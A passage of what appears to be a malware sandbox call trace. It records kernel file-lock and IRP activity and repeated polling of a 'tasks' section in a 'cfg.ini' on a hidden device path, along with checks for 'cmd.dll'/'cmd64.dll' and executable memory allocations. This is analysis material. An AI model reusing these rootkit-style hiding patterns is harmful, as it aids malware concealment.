(FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa87f0 [0127.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.301] KeLeaveCriticalRegion () [0127.301] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.301] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.301] KeEnterCriticalRegion () [0127.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.301] KeLeaveCriticalRegion () [0127.301] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.301] KeEnterCriticalRegion () [0127.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.301] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.301] IdePortDispatch () returned 0x103 [0127.302] KeWaitForMutexObject () returned 0x0 [0127.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.302] KeLeaveCriticalRegion () [0127.302] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.302] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.302] KeEnterCriticalRegion () [0127.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.302] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbb000 [0127.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.302] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.302] IdePortDispatch () returned 0x103 [0127.302] KeWaitForMutexObject () returned 0x0 [0127.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.302] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.302] IdePortDispatch () returned 0x103 [0127.303] KeWaitForMutexObject () returned 0x0 [0127.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.303] KeLeaveCriticalRegion () [0127.303] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.304] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.304] KeEnterCriticalRegion () [0127.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.304] KeLeaveCriticalRegion () [0127.304] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.304] KeEnterCriticalRegion () [0127.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.304] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.304] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.304] KeLeaveCriticalRegion () [0127.304] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.304] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.304] KeEnterCriticalRegion () [0127.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.304] ExFreePoolWithTag (P=0xfffffa8003aa87f0, Tag=0x0) [0127.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.304] KeLeaveCriticalRegion () [0127.304] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.304] ReleaseMutex (hMutex=0xf0) returned 1 [0127.304] Sleep (dwMilliseconds=0x927c0) [0127.332] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.332] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.332] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.332] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.332] KeEnterCriticalRegion () [0127.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.332] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.332] IdePortDispatch () returned 0x103 [0127.333] KeWaitForMutexObject () returned 0x0 [0127.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.333] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.333] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.333] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.333] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.333] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1a00 [0127.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.333] KeLeaveCriticalRegion () [0127.333] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.333] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.333] KeEnterCriticalRegion () [0127.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.333] KeLeaveCriticalRegion () [0127.333] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.333] KeEnterCriticalRegion () [0127.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.333] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.333] IdePortDispatch () returned 0x103 [0127.333] KeWaitForMutexObject () returned 0x0 [0127.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.334] KeLeaveCriticalRegion () [0127.334] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.334] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.334] KeEnterCriticalRegion () [0127.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.334] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc0000 [0127.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.334] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.334] IdePortDispatch () returned 0x103 [0127.334] KeWaitForMutexObject () returned 0x0 [0127.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.334] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.334] IdePortDispatch () returned 0x103 [0127.335] KeWaitForMutexObject () returned 0x0 [0127.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.335] KeLeaveCriticalRegion () [0127.335] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.335] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.335] KeEnterCriticalRegion () [0127.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.335] KeLeaveCriticalRegion () [0127.336] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.336] KeEnterCriticalRegion () [0127.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.336] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.336] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1ac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.336] KeLeaveCriticalRegion () [0127.336] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.336] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.336] KeEnterCriticalRegion () [0127.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.336] ExFreePoolWithTag (P=0xfffffa80037e1a00, Tag=0x0) [0127.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.336] KeLeaveCriticalRegion () [0127.336] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.336] ReleaseMutex (hMutex=0xf0) returned 1 [0127.336] Sleep (dwMilliseconds=0x927c0) [0127.342] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.342] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.361] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.361] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.361] KeEnterCriticalRegion () [0127.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.361] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.361] IdePortDispatch () returned 0x103 [0127.361] KeWaitForMutexObject () returned 0x0 [0127.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.361] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.361] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.361] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.361] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.361] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7760 [0127.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.361] KeLeaveCriticalRegion () [0127.361] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.361] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.362] KeEnterCriticalRegion () [0127.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.362] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.362] KeLeaveCriticalRegion () [0127.362] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.362] KeEnterCriticalRegion () [0127.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.362] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.362] IdePortDispatch () returned 0x103 [0127.362] KeWaitForMutexObject () returned 0x0 [0127.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.362] KeLeaveCriticalRegion () [0127.362] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.362] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.362] KeEnterCriticalRegion () [0127.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db3000 [0127.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.362] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.362] IdePortDispatch () returned 0x103 [0127.363] KeWaitForMutexObject () returned 0x0 [0127.363] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.363] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.363] IdePortDispatch () returned 0x103 [0127.363] KeWaitForMutexObject () returned 0x0 [0127.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.377] KeLeaveCriticalRegion () [0127.377] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.378] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.378] KeEnterCriticalRegion () [0127.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.378] KeLeaveCriticalRegion () [0127.378] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.378] KeEnterCriticalRegion () [0127.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.378] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.378] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.378] KeLeaveCriticalRegion () [0127.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.378] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.378] KeEnterCriticalRegion () [0127.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.378] ExFreePoolWithTag (P=0xfffffa800c4f7760, Tag=0x0) [0127.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.378] KeLeaveCriticalRegion () [0127.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.378] ReleaseMutex (hMutex=0xf0) returned 1 [0127.378] Sleep (dwMilliseconds=0x927c0) [0127.389] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.389] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.389] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.389] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.389] KeEnterCriticalRegion () [0127.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.389] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.389] IdePortDispatch () returned 0x103 [0127.390] KeWaitForMutexObject () returned 0x0 [0127.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.390] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.390] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.390] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.390] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.390] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.390] KeLeaveCriticalRegion () [0127.390] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.390] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.390] KeEnterCriticalRegion () [0127.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.390] KeLeaveCriticalRegion () [0127.390] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.390] KeEnterCriticalRegion () [0127.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.390] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.390] IdePortDispatch () returned 0x103 [0127.390] KeWaitForMutexObject () returned 0x0 [0127.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.391] KeLeaveCriticalRegion () [0127.391] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.391] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: 